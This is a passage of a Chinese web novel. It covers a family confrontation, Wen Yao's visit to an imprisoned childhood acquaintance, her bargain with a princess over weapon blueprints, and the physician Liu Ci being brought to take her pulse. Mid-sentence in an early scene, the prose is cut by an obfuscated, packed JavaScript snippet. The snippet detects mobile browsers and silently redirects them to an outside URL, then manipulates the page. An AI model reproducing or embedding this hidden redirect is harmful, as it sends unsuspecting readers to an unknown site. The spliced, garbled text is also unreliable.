那小厮连连点头,将两人引进堂中,又步履匆匆去了。 这伏龙使早不来晚不来,眼下瑾华院乱成一锅粥了正巧来搅浑水。 小厮抬起袖口擦了擦额角,将近腊月的天气却让他一头冷汗,伏龙使那头等不得,他只好不断加快步伐,恨不得把两条腿当四条用。 “我今日偏要罚她,祝清衡,你若还当我是你母亲便让开!” 臧翡狠绝的声音几乎要穿透屋门,瑾华院内人人谨小慎微低头做事,小心翼翼地生怕出了动静让屋里的人更恼。 房中,祝清衡跪在温窈身边,固执道:“是儿子先允她出府,未曾告知母亲,母亲要罚,大可罚我。” “罚你?”臧翡气极反笑,“祝清衡,你可真是我养的好儿子!你倒是日日将人家护如珍宝,可你看看她这副样子,像是对你有半分感恩吗?!” “母亲!”祝清衡膝行两步用半个身体挡住温窈,急切道,“这是我和温窈之间的事,求您不要再插手了好吗!” “你以为我是为了谁?”臧翡不可置信这竟是从祝清衡口中说出的话,她亲自教养成才的孩子为了一个女人这样顶撞他的亲母,“你娶回来的好妻子,成婚三年不为夫家孕养子嗣不说,一个出嫁的妇人无视纲理伦常强令父母和离,甚至堂而皇之带走了她娘的尸体让她娘无法入温家宗祠,自私自利至此,我罚她禁足月余已是轻的!” “祝家的脸都被她丢尽了,也就你还护着她!”臧翡顾不得仪表礼节,食指在空中直指着跪地的女子,“她到底有什么好,叫你像猪油蒙了心?!” “你但凡去长安家户问一问,哪家敢娶她这样的女人?!” 祝清衡紧拧着眉头,他应该反驳臧翡的话,温窈不过是还未诞下子嗣,又不是不能生育,再者山辛夷是温窈的亲生母亲,温窈如何没有权利去安置山辛夷的遗体? 可他跪在其间,被他护在身后的女人无动于衷,仿佛被指着鼻子骂的人不是她;而他面前高坐着他的生身父母,出离愤怒的母亲和沉默以待的父亲—— 他们高高在上地审判着他,仿佛一道金钟罩笼住了祝清衡的头脑,让他一个字也说不出来。 “既然你一心护她,那便与她一同受罚罢,”臧翡眉眼压下,不掩烦躁,冷声道,“滚去祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304206|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家祠堂跪着!” 她话音刚落,屋门外像是掐着时机敲响了门,小厮颤颤巍巍的声音传来,“老爷、夫人,伏龙使来人了。” 一直坐在主位却如同木雕的男人终于掀了掀眼皮,不等他追问,门外的小厮又道: “那伏龙使说,有诏狱要事,点名要找少夫人。” …… “温姑娘。” 谢子朝女人礼节性颔了颔首,取出章令递给她,“伏龙使有证据可以证明,您和诏狱中一重犯有些许关系,故而冒昧请您往诏狱去一次。” 祝清衡脸色难看得吓人,低眼瞟过那张章令,道:“窈窈久居家中,怎会与诏狱重犯有牵扯,谢大人恐怕弄错了。” 比起开解不了的婆媳家事,眼下伏龙使的强硬更令他躁郁头疼——他分明那日同谢岐说得很清楚,无论周天辰和薄岑的案子涉及到谁、又牵扯了什么秘案,都与温窈毫无干系! “祝少卿说笑了,”谢丑看了男人一眼,道,“伏龙使从不做无意义之事,烦请令夫人随我们走一趟了。” 伏龙使的意思,就是谢岐的意思。祝清衡蜷了蜷手指,终究退步道:“窈窈没去过那种地方,恐怕会有不适,我与她一起去。” “不必。” 出声的不是伏龙使。 祝清衡怔了一下,低声对女人道:“诏狱那种地方不是你能去的,窈窈,别和我耍性子。” “没有哪里是我去不得的。”温窈向来温柔潋滟的柳叶眼如今望向他仅有平淡的漠然疏冷,“祝清衡,我虽是你的妻子,却也是一个正常人。” 诏狱可怖,长安皆知,但伏龙使既是以礼相请,便说明温窈没有嫌疑,只是从旁协助。 没有严刑逼供,没有审讯勒令,温窈不明白究竟哪里她去不得。 她从来都不是在屋中精心雕饰的青萝。 男人面露怔忪,轻声道:“我只是担心你。” “多谢,”温窈不见丝毫动容,道,“等我回来,有要事同你说。” 祝清衡不知听没听进去,只知道愣愣地点了点头。 待温窈和伏龙使的身影远去,半晌他才跌坐在木椅上,宿醉的不适宛如苏醒的蚜虫爬上他的太阳穴。 祝正和似是要进宫面圣,又似要去找温长风,祝清衡用掌根压了压额角,他和温窈离开瑾华院时,他隐约听到臧翡和祝正和的争论声,却印象不深。 在他应付伏龙使的时间,祝正和已经出了府。 祝清衡瞥了一眼木案上未来得及撤下的两杯茶盏,谢子和谢丑在此处等待之时,连茶水都纹丝未动。 日光渐渐明亮了起来,祝清衡缓缓支起身子,踉跄着往青云院走。 以他对伏龙使的了解,特别是指挥使谢子,瞧着是木讷疙瘩,实际为人谨慎,做事总会多方考虑,不会轻易得罪人。 当年祝清衡与温窈在青山相识时,谢岐正在山家借住,而他身边常年只有两个人跟着侍奉——一个是文福,另一个便是谢子。 昨夜温窈去了追天塔,谢岐也在,今早母亲问责,好巧不巧伏龙使就在此时敲响了祝家的门。 ……会是谢岐一手安排的么? 25. 春风且莫定 诏狱。 诏狱关押的犯人多为重犯,不过此“重”是有区别于大理寺狱的“重”,因此在诏狱中又会根据层级案情大小去分配牢房——像沈清清这样杀人害命又身份特殊的,自然被安排在四面封闭的独立牢房。 牢狱之地,诸多阴暗潮湿,不见天日,更何况管理诏狱的伏龙使非良善之辈,雷霆手腕闻名长安,故而一入狱中便能听见此起彼伏的痛呼嚎叫,腥臭难闻的气味像一张密不透风的网将人缚得透不过气。 “温姑娘,这边请。” 谢子神色如常地在前带路,路过的牢房基本都是被砖块砌成如墙般的密室,唯留有一方两个巴掌大的“出口”。 如影随形的目光如同黏腻的湿膏,无数只眼睛透过那“出口”紧盯着穿过长廊的他们,像是在看谢子,又像在打量蒙面不语的温窈。 “诏狱的囚犯大多不是善类,”谢子道,“所以诏狱的牢房一面是铁栅一面是石墙,方便监管。” 温窈抬了抬眼皮,“嗯”了一声。 在甩脱不掉的窥探中,谢子领着她七拐八拐,终于在一处暗角停了下来。 按照规定,除了和案件有关的人可以入诏狱内,其余人只能在外等候,因此眼下只有温窈一人,琉锦和琉银虽随她一起出府,却都候在外头。 谢子当着温窈的面拂开毫无痕迹的墙面,按下开关,墙面有所感应地震了一下,随即缓缓打开。 一个穿着鹅黄色襦裙的女人正缩在密室中一角,里头点了两支蜡烛,不至于让他彻底失去对光亮和时间的感知。他似是料到有人来了,随意瞟了站在机关外的两人一眼。 这间牢房十分特殊,除有外部最基础的保护机关外,墙面打开后仍有一层铁栅,而在这层铁栅内,又有一道铁栅门隔出两道区域,一面关着囚犯,另一面应是留给伏龙使审讯而用,防止被关在里面的囚犯情绪失控趁机攻击来者。 沈清清脸上还有残留的妆粉,她的发髻凌乱得不成样子,身下压着枯败的稻草,蜷缩在那里像只可怜的狸奴。 温窈眸光扫过他干净的发丝,没有说话。 沈清清亦没有因为他们的到来起身,就着这个姿势仰视着两人,仿佛在打量酝酿什么。 谢子开口道:“你要的人给你带来了,现在你可以交代了?” 沈清清动作缓慢地眨了一下眼,似乎在故意考验来者的耐心,可惜温窈和谢子都是耐心十足的人。良久,沈清清扯唇笑一下,道:“温窈。” 温窈没有应声,视线却没从女人身上移开——或许称他为女人并不合适,沈清清只是看着像个女人,从身体结构上来说,他是个货真价实的男人。 她和沈清清相识在山家,那时的山家家主山致远正是温窈的祖母,山致远为人仗义行事正直,在青山广结善缘,且尤为喜欢小孩,因此无论是恰巧住在山家毗邻的祝清衡还是从皇宫逃到青山的谢岐,只要不是品行不端的孩子,山家永远欢迎他们。 沈清清亦是那些孩子的其中之一,从温窈第一次见到他起,他便是一副世俗女子模样的打扮,山致远对此不仅没有意见,还叮嘱其他孩子不许嘲笑他。 但多数的孩子都只是被随着家人偶尔到山家一次,真正长居山家的只有温窈、沈清清、谢岐以及温窈舅舅的儿子山罗安。 沈清清是被山致远捡回山家的,据说山致远是在沧渚城谈事的时候在拐巷的笸篓里偶然发现了已然只剩一口气的沈清清,还是个四五岁的孩子。 山致远于心不忍,所以将他带回了青山。 起初沈清清身体很弱,山致远花了不少时间为他调养身体,才让他像健康孩子一样长大,许是因为他癖好特殊又是南苗人,沈清清性子很孤僻,只对山家人有几分好脸色。 后来山家隐世,沈清清便到了长安拜入长孙氏名下,彼时温窈已回了长安,两人偶尔相见也会一起用膳闲聊,直到变故突生——长孙氏满门被灭,不久后隐世的山家被传出仇家追杀,彻底销声匿迹。 自那之后,温窈只见过他一次,从此沈清清就像人间蒸发,再也没有消息。 只是温窈没想到他们再次相见,竟会是在如此场景。 温窈沉默的时候,沈清清同样沉默地看着她。 温窈看起来和七年前没有区别,她不爱穿颜色鲜艳的衣裳,常年只着白裙素衣;明明长了一张姣好漂亮的脸蛋,却总没什么表情,像尊玉雕的观音。 高高在上、事不关己。 沈清清突然笑了一下,道:“劳烦指挥使给我们兄妹一点时间,叙叙旧。” 谢子顿了顿,以诏狱的手段来说沈清清的要求根本是天方夜谭,可他只是回头看了温窈一眼,问:“温姑娘,您……?” “半刻钟。”温窈淡淡道,她戴了遮掩容貌的面纱,是为了以防被诏狱的囚犯认出身份,而那双裸露出的柳叶眼依旧淡漠如水,似乎没有什么能掀起她眼中的波澜。 沈清清无所谓道:“半刻钟便半刻钟罢。” 谢子点了点头,用钥匙将外层的铁栅打开,待温窈进去后又锁上了外面铁栅,道:“我会将机关墙关上,外面听不见你们谈话,只有半刻钟。” 厚重的墙面合上,将一切声音隔绝在外。 温窈站在铁栅不远处,开门见山道:“为什么要杀他们?” …… 温窈和沈清清究竟谈了什么无人知晓,就连手眼通天的伏龙使这次也犯了难——没办法,沈清清这个人太难折腾了,无论是连番逼问还是上刑勒令,对沈清清都如同喝凉水般,毫无用处。 若非如此,他提出要见温窈,伏龙使自是半分不可能应的,可约莫是谢岐与沈清清相识的原因,伏龙使将沈清清的原话上报后他竟当真允了,且亲自去办。 温窈从诏狱出来后,沈清清在短短半刻钟犹如变了一个人,只要伏龙使问,他便事无巨细、半分谎话也无地交代地一清二楚。 他费那么大力气、拐弯抹角地去杀周天辰和薄岑的原因远没有伏龙使想的那么复杂,可交代的内容却与他们料想的大相径庭。 当年沈清清离开长安后去了很多地方,一是不相信朝廷对长孙氏灭门之案的判决,所以一直在找罪魁祸首,二便是在探寻山家消失不见的踪迹。 “周天辰是沧渚城周家的独苗,周家把他看得像命根子,巴不得把天上的星星月亮摘下来给他——你们猜,这样的家族培养出来的儿子是什么样的?”沈清清纤细的手腕上戴着沉重的枷锁,他跪在擦不尽血污的泥地上,漫不经心道,“也不过是个伪善可笑的废物,一到长安摇身一变就成仁善为民的好官了……我看不惯他。” 沈清清缓缓道:“可人的确不是我杀的,刀是俞永拿的,周天辰身上的伤也是俞永捅的,我嘛,最多起了一个中间调和的作用。” 谢子语调上扬,“调和?” “周天辰去长安外访友,正巧那日我遭到仇家追杀,正好拿他作挡箭牌,”沈清清说,“他对我见色起意,但我对他厌恶至极,反而对俞永温柔平和……呵,那他们两人的争执,虽与我有关,可也不完全怪我啊。” 倘若周天辰和俞永在沈清清出现前没有一点龃龉,想必也不会为了一个来路不明的女子两相滋生出反感。 就算沈清清坦白说自己就是故意离间,可他既没有教唆俞永杀人,也没有真的自己去杀了周天辰——到底与他何干呢? “俞永自尽的药,是你给的。”谢子说。 “是我,”沈清清没有否认,“他杀了人太害怕了,很快就后悔了,来找我。周天辰是朝廷命官,又是周家独子,俞永被抓到了不会有好果子吃,所以我心软给了他无色散,好让他解脱。” 谢子:“长孙氏的印章你如何解释?” “周天辰都死了,这么好的机会,我当然要利用起来,”沈清清说着,抬起眼对谢子露出一个妩媚的笑,他伪装女人确实是一把好手,如若不是会看骨架的人看到他,绝不会觉得他是一个男人,“我是局外人,长孙氏灭门之时我不在长孙家,后来谢任生草草结案,我单枪匹马哪能盗得案子的卷宗,追查这么多年也没有结果,不如趁机把事情闹大,借你们的手来查,岂不美哉?” 谢子沉默一瞬,说不出是什么心情。谢任生便是先帝宣怀帝,谢岐的生身父亲,沈清清身负命案小命难保,竟还敢当着众人的面直呼先帝名姓,倒让谢子有几分怀疑他到底还想不想活。 伫在一边的谢丑斜了地上的人一眼,伏龙使虽百无禁忌,可面子还是要做的,于是道:“竖子尔敢直呼先帝姓名。” 沈清清冷嗤一声。 “那薄岑呢,”谢子接着问,“他与你无冤无仇,为何你要指使李二狗用无色散毒死他?” “谁指使了,指挥使大人可不要凭口胡说,”沈清清摇了摇头,“我不认识什么李二狗,至于他怎么拿到的无色散,与我无关。” “半年前你在淮南,正巧就寄住在詹家。”谢子垂目看着他,“你敢说,此事与你无关?” “薄岑一个纨绔,不值得我大费周章,”沈清清半垂着眼,忽地笑了笑,“哦,我想起来了,两个月前我路过顺平坊撞到了他,他调戏我,感觉有点恶心。” 谢子眉头动了一下,“所以你找到同样和他有仇的李二狗,借李二狗的手杀了他?” 沈清清静了静,说:“没有,就是我说的那样,无色散在南苗并不是什么稀有东西,可能我给了谁,落到了李二狗手里。” “那薄岑手中的山家机关图从何而来?” “自然与我无关,”沈清清扬了下眉尾,似是觉得伏龙使有些可笑,“我当年虽住在山家,可山家机关只传给山家女,我一个外人,怎么可能拿出山家机关图,指挥使不觉得奇怪么?” …… 长安郊外。 此番是伏龙使请她办事,因此她离开自是理应由伏龙使护送。但她不回祝府,只要来了马车,有琉锦驾车带她走。 祝清衡似是放心不下,温窈和伏龙使走后不久他便收拾了衣装,诏狱他去不得,至少去得温窈回府的路上。 而琉锦按照温窈的吩咐绕开了从诏狱回祝府的必经之路,抄小道不到半个时辰便到了长安外。 山辛夷就葬在此处。 这座小山荒无人烟,常人不会来此。辛夷花开在早春,如今已要入冬,花叶全落了,唯有枯秃秃的树干留在那,冷风一吹倒显格外寂寥。 辛夷花不好种,家养尚难养活,却在这荒山野岭长了几株。山辛夷的棺木便埋在土下,温窈立了碑,却是无名碑,只有一颗辛夷花树上挂着一只红色的木牌,隐约可见辛夷二字。 从温窈将她带离温家起,只有山辛夷下葬那日温窈来过,自后臧翡便以她离经叛道为由,将她囿于青云院,不允她再踏出院门半步。 “姑娘,”琉锦见她望着石碑不语,轻声开解道,“山娘子这么做,是她深思熟虑后的结果,她自由了,不是您的错。” 温窈怔了怔,屈身蹲在碑前。她安排了人每日清扫,石碑上很干净不见积灰,在指腹下一片冰凉,“她明明刚烈自强,有无数种办法可以告诉我真相,偏偏选择了最决绝的一种——她恨我榆木,怨我痴傻,连这么虚伪可笑的局都看不出。” 她嫁进祝府三年,整整三年。 一开始她只是怨恨,为什么她非要出嫁,嫁给一个不爱的男人做附庸,于是又心生怨怼,气山辛夷为她造了一个美梦,然后亲手打碎把她推进谷底。 她恨温长风、恨山辛夷,却体贴地剔除开祝家——婚约是温长风与祝正和定下的,是温长风没有征询她的意见,执意要与祝家结为姻亲,仅仅是为了温长风自身的利益。 而祝家当时并非高官利禄,祝正和未必扳得过温长风,但温窈还是去找了祝清衡,希望他能明白她的处境,主动退婚。 “我知道你心有抱负,不愿居于人下,”祝清衡说,“可世道如此,非你我二人可更改。我们相识总角,做不成夫妻至少是知根知底的朋友,与其你与我费劲力气退婚又被温丞相嫁予旁人,不如与我假成婚,有夫妻之名无夫妻之实,你想做什么我都不会阻拦,而我也到适婚年纪,必然要娶妻,索性你我合作,能省去不少麻烦。” 祝清衡口中的“做什么都不会阻拦”,是温窈可望而不可求的自由。 从青山回到长安的这些年,午夜梦回时温窈总不断地后悔,后悔为什么她会相信温长风身为一朝丞相会善用人才,不会在意男女身世,而莽撞地在十三年前长孙氏灭门案之时写下其中机关破解要义,然后落到了温长风手里。 她本还在犹豫,写下的东西却莫名到了温长风处理公务的书案上。 也是那一日让温窈意识到温长风向来温文尔雅的面容下究竟是怎样扭曲可笑的人——他将温窈送去祝正和操办的私学读书,每每却只夸赞门门逊色于她的堂哥温鹤徵,温窈以为,作为温长风的女儿,是她做得还不够。 她初回温家 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哪怕她的父亲温长风位高权重,嫁进别人家的女儿是泼出去的水,温家不会为她撑腰。 而这些桩桩件件,祝清衡在其中从来都扮演的是维护她的角色。 他会在温窈被关禁闭时悄悄为她送书,会替她瞒着温长风让她有机会参与挑选伴读的宴会,更会在臧翡为难她时帮她说话,尽他可能去给温窈保护。 却都是假的。 温窈的指尖一寸一寸划过石碑,仿佛在细数这么多年她有意忽视的细枝末节。 从最初她写下的机关要义被温长风拿走起,就是祝清衡的手笔。 …… 午时,天开始下雨。 细碎的雨滴落在地上溅出雨花,卷着枯草泥土的气味潮湿了整个长安。 温窈从亭中伸出手掌,看着雨水打在她掌心,激起阵阵冰凉,道:“下雪了。” 雨滴和雪花夹混在一起,雨融了雪的形状,像一种无声的预兆。 “三年了,第一次见你寻我,”永平扯了扯唇,挑眼看着她,“说吧,你要什么?” 温窈做了她两年伴读,她们朝夕相处,永平自信她足够了解这个女人,无事不登三宝殿,温窈必然是有了难事,否则不会主动去找早已撕破脸皮的她。 同在长安这么久,低头不见抬头见,温窈却能把她当成寻常花草般无视三年,永平倒要看看,她要搞什么名堂。 “追天塔的请函,是你给皇帝的。”温窈说。 “那又如何,”永平耸了下肩,满不在意道,“仇山是给了我,可又没指名道姓一定要我谢袖亲自去,我给谁都可以,不是吗?” “弯弓图,”温窈没在这件事上纠结,转而道,“你帮我做一件事,我可以把弯弓图给你。” 军械图,她最想要的东西。永平眸光闪了闪,片刻后垂眼抿了口茶,“你还是这么了解我。” “我想要春覃坊的院子,越大越好。”温窈直接道,“事成之后,我会将弯弓图全部献上。” 话落,她示意琉锦将她准备好的木匣放到石案上。永平凌厉如隼的目光看过她一眼,屈指挑开木匣,不用猜,是弯弓图的一半图纸。 温窈对自己的能力很自信,她给出半份图纸,便不可能有人能猜出剩下一半的内容,这是谈价的资本。 啪。 永平合上木匣,发出的啪嗒声几乎和雨声重合。 她道:“你不是为了祝清衡不再接触这些了,怎么,反悔了?” 温窈说:“是。” 她回答得太快又太肯定,反倒让永平怔愣半天,她下意识转头去看被云遮去日头的天,喃喃道:“太阳打西边出来了?” 温窈:“……” 永平思索着,手掌压着木匣收到自己跟前,总算咂摸出一丝怪异来,“你吃在祝家住在祝家,要院子做什么,就算要院子,祝家名下的私宅不少,你随便挑一个让祝清衡讨来给你就是了。” 她说这话不好听,“随便挑一个”“让祝清衡讨来”之言无一不再内涵鄙夷,温窈面色不变,道:“公主这是应下了?” 永平那双眼睛紧锁在温窈脸上,像是企图从她脸上找到什么,又似只是看看她。 她道:“应了。” 温窈颔首,“多谢。” 永平问她,“什么时候要?” “越快越好。”温窈毫不犹豫道,“快则今日,慢则七日,我便要用。” 快则今日,慢则七日?永平琢磨着,她竟也有些看不懂温窈要做什么了,只好道:“好,我现在就着人去办——房契写你的名字?” 温窈说:“嗯,我的院子。” 永平挑了挑眉,哪怕小亭外雨雪纷纷,她也由衷有了两分好心情,索性不再多问,起身道:“没有旁事我便回府了。” “柳瓷的事,是你让人散的消息吧?”温窈望着她即将融于雨幕的背影,忽然开口道。 永平脚步微顿,身边的婢女为她打了伞,但不免仍有雨水飞溅在她裙袂,她没有转身,道:“是我。” 温窈问:“为什么?” “有的人,傻得可怜。”永平似是笑了笑,指桑说槐道,“不把事实摆在她面前,就要永远沉溺温柔乡了,哈哈。” ……真是的。 温窈蹙了下眉,脸上却没有流露出厌恶的情绪,倒像是无奈。 眼看雨势愈大,琉银上前道:“姑娘,咱们去哪?” 温窈指节在石案上敲了敲,道:“去祝府罢。” …… 永平今日心情格外好,好到即便她的车辇在长公主府门前被伏龙使拦下,她还能保持微笑,而不是直接拔刀骂人。 谢子对她见了礼,道:“殿下,陛下有请。” 永平斜眸扫了他两眼,谢子没打伞,只戴了竹斗笠。 她道:“宫里的太监都死完了?” 否则怎么让伏龙使指挥使来? “尚且安好,”谢子三句话不离正事,“陛下还在宫中等您。” 她前脚和温窈分开,伏龙使后脚就堵在她府门口了,真是好算计。 永平磨了磨牙,几乎气笑了。 “你回去告诉谢岐,这张图可是温窈亲自给我的,他想都不要想。”永平从鼻子哼出一声,悠悠道,“叫他晚上睡觉枕头垫高一点。” 还想要她的弯弓图,做白日梦去吧! 26. 吹向玉阶飞 “你从诏狱出来后去了哪?” 雨下得急,祝清衡等在路边,虽及时进了小铺避雨,可回府时仍不免沾湿了发丝衣裳。 然而他苦等的人却不知何时已回了府,外头雨水愈发势大也不见她遣人去寻自己。 祝清衡看着她依旧浑不在意的眉眼,而自己满身狼狈,像个可笑的怨夫。 “郊外,”温窈甚至没有抬眼看他,目光只落在手中的书纸,淡然道,“去看我娘,怎么了?” “即便是去郊外,也会从骆富街过!”祝清衡大步上前一把抽走她手中的书,袖缘的水渍溅在温窈的衣裙上,“温窈,你非要将事情做绝吗?!” 他又不是傻子,温窈绝对是提前料到他会等她,所以故意躲着他、冷落他,看他笑话! “随你怎么想,”温窈敛眸拂去那几滴冰凉的水,从软榻上起身,却被祝清衡拦住了去路,“你已为官数载,便不能成熟些么?” “我同你解释过了,我与那姓柳的当真没有半分干系!”温窈越冷淡,祝清衡就越觉得心底躁气升腾,“你难道还不信我吗,我们从小一起长大,我身边除了你再没有别的女人,究竟要我怎么说你才能相信?” “或者你大可去找她问个清楚,丞相府那日确实是我的错,但当真是巧合……昨晚我是去找了道南他不在府上,恰巧路过梁柱坊才……可我只喝了半盅酒,连半个时辰都没待到!” “我信你,”温窈轻巧地推开他的肩,平淡如水道,“去换身衣裳吧,雨水凉,莫要染了风寒。” 她的话和平日里关怀祝清衡的话没什么区别,但祝清衡就是敏锐地察觉到其中的冷淡生疏,仿佛他不是她男人,而是一个路边的野猫野狗,随意被施舍了半点关心。 “你昨日去追天塔,是不是见了谢岐?”祝清衡猛地攥住她的手腕,逼问道,“是不是他和你说了什么,还有,是他让你去见沈清清的,是不是?” 温窈顿了顿,偏脸看向身后的男人,他脸上还挂着雨珠,鬓发湿了,如同一只无助的小狗,“祝清衡。” 祝清衡握住她手腕的指节紧了紧,莫名感到有些慌张。 “从头到尾,我都没有说过我去见的人是沈清清,”温窈琉璃般的眼瞳望着他,“你是怎么知道的?” …… 在子盛街接连义诊的几日给柳瓷积累了不少名声,至少附近街坊都知道梁柱坊有一个医术了得的柳大夫,无论之后能不能开医馆,对柳瓷来说都足够了。 她照例收拾好医箱去往子盛街,在她寻常义诊的地方已排了一条长长的队伍,一见她来,乡亲们各个都打起了精神,翘首以盼。 柳瓷轻舒了口气,除了义诊,她也会接到患者家中的求诊,而她平日吃穿用度所需的财钱便源于此。 然而第一个患者甫一坐在她对面,队伍尽头忽地爆发出一声呐喊,旋即几个大汉抬着担架急吼吼地冲上来,指着柳瓷的鼻子大骂道:“你个骗人的鬼妇,瞧瞧你把俺爹治成啥样了,啊?!” 大汉的手上全是汗渍,隐隐散发着难闻的烧煤气味。柳瓷不动声色往边上让了让,道:“有话好好说。” “你自己看看,俺老爹就剩一口气了,你叫俺咋说!”他作势要伸手去拽柳瓷,柳瓷已起身绕开他走到了那担架跟前。 那汉子说着严重,可脸上没多少焦急,倒是神情跋扈地巴不得把“闹事”二字写在额头上。 一个面黄肌瘦的老者气若游丝地瘫在粗麻布上,双眼出神地用嘴巴喘着气,像只将要失水而亡的鱼。 柳瓷脸色微变,厉声道:“医箱给我!” 那大汉仿佛只为揪着柳瓷不放,闻言像是抓住了她的把柄,连忙指挥余下几人将柳瓷拦开,嚷嚷道:“俺爹就是昨天在你这看了成这样的,俺要报官!早就说你一个女人会什么医,就是哄俺们没读过书你说啥就是啥……” “你要不想他死,就滚远点!” 柳瓷看着身形单薄,竟一把攘开大汉夺来医箱,转身对围在担架周围附近的汉子斥道:“闪开!” 她过于疾声厉色,倒不像装腔作势,那几人下意识回头看老人的脸色,也觉得有些奇怪,一时犹豫不决,迟迟挡着不肯起开。 余下的人们私语的声音越来越大,柳瓷额角暴筋,指着被挡着严严实实的老人对大汉道:“我问你,你昨日是不是给他吃了当归、人参一类的补物?!” 大汉还未藏掖住的得意僵在脸上,脱口而出道:“你咋晓得?” 他一顿,随即反应过来说错了话,立马找补道:“你个婆娘别瞎说,俺们咋吃得起人参……” “你爹年已耄耋,且脾胃虚邪,根本受不起滋补,服用人参一类只会如饮砒//霜”柳瓷冷笑,“你若想看着你爹死在这,便继续闹罢!” 大汉的脸色已然惨白,冷汗如雨下,他白着唇把那几人拉开,“那、那你快给俺爹看看!” 阻拦的人没了,柳瓷更没工夫同他们扯旁事,从医箱中取出银针,手起如飞地落在老人的各方穴位上。 半刻钟后,老人猛地咳了两声,口中吐出一摊秽物,哎呦呦地叫出了声。 柳瓷松了口气,指腹从老者的脉搏处移开。 能叫唤就还能活。 她将银针取出,转身去义诊的木案上写了一纸药方递到大汉手中,“昨日开的那副药不要吃了,他现在的身体承受不了,先用此方温养着,七日后再看情况罢。” 那大汉约莫是自知理亏,僵着身子握着药方愣在老爹旁边,半晌憋不出一个字。 “姜家的小子,你家一贫如洗的哪来的人参?” 来柳瓷这看病的大多是附近街坊的人,一眼便认出了大汉的身份,危机情况一过,便很快意识到了问题,七嘴八舌地问了起来。 “就是啊,你别是学了不好从哪偷来的吧?” “这还上赶着泼柳大夫的脏水,柳大夫不计前嫌可是治了你爹的命嘞,还要不要脸哟!” “我没偷!”姜大汉脸色涨得通红,浑不见之前趾高气扬,“把你们的烂嘴闭上……!” “大姜!”反倒是躺在担架上的老人一巴掌拍到大汉的胳膊上,止了他之后的 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锦衣华簪,婢侍随行,落眼瞧她的时候像在打量什么物什。 此等情态,与祝清衡看她时的神情一般无二。 柳瓷良久勾出一个笑,道:“祝夫人。” 臧翡抬步上前,徐嬷嬷立即心领神会为她擦拭干净义诊的木凳,臧翡蹙眉瞟了一眼,还是没跨过心里那关,站在柳瓷不远处道:“这里不方便,去你住处说吧。” 柳瓷折好手帕收回医箱,没再说什么,走在前面带路。 她倒是没料想到,最先找到她的,不是温窈,而是祝清衡的母亲臧翡。 …… “姑娘,徐嬷嬷来了,说是大夫人找您。” 自那日臧翡要罚她却被伏龙使搅和后,臧翡就像短短两日忘了此事,照常让徐嬷嬷一早给她送生子汤,而温窈也如常每日去请安。 温窈正坐在矮窗下,阳光顺着窗棱洒在棋盘黑白相间的棋子上,折出淡淡光痕,驱散了初冬的寒意。 女人两指从黑棋棋罐中叼出一颗棋子,不假思索地落在格线上。 她问:“房契取回来了么?” “取回了,”琉锦将木匣交给温窈,道,“余下半份图纸,奴婢亲手交到长公主手中的。” 其实不用琉锦要求永平也会亲自来拿,毕竟她对这种东西视若珍宝,怎可能假手于人。 温窈打开木匣将房契上的画字一一看过,永平办事向来靠谱,她说要大院子,她就能给她找来春覃坊最大的,而房契上的所属名字,亦如温窈所愿。 “她可说要找我做什么?” 这是在问外头的徐嬷嬷,琉锦拧了下眉,“我听前院的人说,大夫人好像带回来一个女大夫。” 女大夫。 温窈轻笑一声,把房契放回去,收进她的书箱底,起身道:“那就去会会罢。” 大兖的女大夫有多少,温窈不知道,但长安的女大夫,又是被臧翡专门带回来的,是谁,不言而喻。 27. 第 27 章 柳瓷第一次知道温窈这个名字,是在徐婵口中。 徐婵此人诡谲复杂,柳瓷琢磨不透她行事的目的,但又不得不替她做事。 至于原因…… 当初薄岑的案子,在大理寺狱柳瓷并未全盘托出。 她会在人人避之不得时毛遂自荐随薄岑到永庆侯府,不只是因为牡丹的诡言,而是因为徐婵。 她和徐婵的第一次见面既不是在薄岑身死那日,也不是在徐婵到春怡楼质问她那日。 早在她于春怡楼站稳脚跟时,就已和徐婵打过交道了。 可以说,薄岑的死,少说有徐婵的三成功劳。 不过是徐婵谨慎非常,起初并未露出真容,才让柳瓷在她再次寻来时游移不定,直到徐婵确定柳瓷已是她的囊中之物,方点明一切。 如果说薄岑一事是徐婵的家事,那么与徐婵毫无干系的温窈,为何会叫徐婵大费周章,甚至不惜宁愿使她从祝清衡入手,也要去靠近温窈呢? 据她所知,温窈唯一特殊的地方大概就是她的身世,可丞相发妻身死之事已印证了温窈与温家不和,难道徐婵是想借一个深闺妇人的手去扳倒温长风吗? 心思百转千回之际,偏院外正来了脚步声。 徐嬷嬷的声音自她身后响起,“大夫人,老奴将少夫人带来了。” 柳瓷无意识蜷了蜷指节,压住回头的念头。 臧翡道:“柳大夫,劳烦您为她把一把脉。” 她话没有挑明,柳瓷却知道她究竟要自己看什么——她要柳瓷看温窈多年不孕的原因。 或许原因不是最重要的,她特地将一个和自己儿子关系不清的女人带回府,以探病为由头将温窈找来,不过是有意给温窈难堪……假使温窈还不知道她的存在,终有一天这根刺也会扎回去。 柳瓷垂下眼,面色不变地对臧翡颔了颔首,方转过身去。 ——不得不说,温窈是个很漂亮的女人,远山眉柳叶眼,面肤如凝脂,唇红似胭脂,再平常的一眼也能被她轻易捕获注意,但…… 她着了一身藕色素裙,发髻步钗亦不繁复,像是有意以此消磨她稍显凌厉尖锐的眉眼,叫人误入那双眼里的波光漾漾,只以为是清水微粼。 而忽略了她眼中真正的、掩藏在柔婉清瘦皮囊下的东西。 温窈,和徐婵是同一种人。 柳瓷眸光轻烁,朝温窈露出一个礼节的笑,“少夫人请坐,在下为您把脉。” 温窈没说什么,依言按柳瓷的话落座,摊出手腕递上。 整个屋子里没人不知道臧翡的目的,但也没人挑明,所有人都静静等待着柳瓷探脉的结果—— “窈窈!” 祝清衡的声音突兀从外面传来,臧翡眉头瞬间皱起,不满的目光投向徐嬷嬷。 徐嬷嬷脸色变了变,她明明千叮咛万嘱咐不允许府内仆从外出,祝清衡是怎么知道的,又怎么会赶回来这么及时? 